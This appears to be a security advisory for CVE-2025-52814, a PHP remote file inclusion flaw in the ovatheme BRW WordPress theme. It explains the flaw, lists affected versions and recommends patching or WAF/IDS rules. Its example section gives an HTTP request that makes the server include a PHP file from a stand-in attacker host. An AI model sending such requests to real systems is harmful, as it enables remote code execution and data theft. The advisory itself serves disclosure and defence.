Overview
A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. This can lead to a complete system compromise or data leakage. Given the widespread usage of ovatheme BRW and the potential impact of this vulnerability, it is of utmost importance that administrators and developers take note and implement the necessary mitigation strategies.
Vulnerability Summary
CVE ID: CVE-2025-52814
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
ovatheme BRW | n/a through 1.7.9
How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when the ‘include’ or ‘require’ statements in PHP are manipulated to include files from a remote server. By exploiting this vulnerability, an attacker could include a malicious PHP script from a remote server and execute it within the context of the affected application. This could lead to unauthorized access, data leakage, or even a complete system compromise.
Conceptual Example Code
Here’s a conceptual example of how an attacker may exploit this vulnerability. The attacker could manipulate a URL or form input field that takes in the name of a file to be included as part of the PHP server-side scripting.
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.comIn this example, the attacker tricks the server into including ‘malicious_file.php’ from ‘attacker.com’ instead of a local file. The server then executes this malicious file leading to potential system compromise.
Recommended Mitigation
To mitigate this vulnerability, the vendor has released a patch. All users of ovatheme BRW should promptly update their software to the latest version. Alternatively, as a temporary mitigation, users can implement Web Application Firewall (WAF) rules or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.